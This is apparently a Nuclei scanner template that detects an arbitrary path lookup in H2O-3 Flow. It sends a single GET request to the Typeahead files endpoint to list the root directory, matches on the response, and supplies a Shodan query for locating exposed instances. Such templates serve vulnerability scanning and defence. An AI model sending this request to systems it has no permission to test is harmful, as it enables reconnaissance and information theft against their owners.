id: h2o-arbitary-file-read

info:
  name: H2O - Arbitrary Path Lookup
  author: danmcinerney,byt3bl33d3r
  severity: medium
  description: |
    H2O allows for arbitrary path lookup via it's Typehead API endpoint
  reference:
    - https://huntr.com/bounties/e76372c2-39be-4984-a7c8-7048a75a25dc/
  classification:
    cwe-id: CWE-200
  metadata:
    shodan-query: title:"H2O Flow"
    verified: true
    max-request: 1
  tags: h2o-3,h2o,info-leak,lfi

http:
  - raw:
      - |
        GET /3/Typeahead/files?src=%2F&limit=10 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"/bin"'
          - '"__meta":'
          - '"schema_name":'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 490a00463044022057806d75fa7aafbf80baecef0dee983b9b9f9275135caa37e7086ede0bfeb9ab022042235b5d28d6520c6bec169118547a40260dee8964fd7cd0aa97e0450cf9aa9c:922c64590222798bb761d5b6d8e72950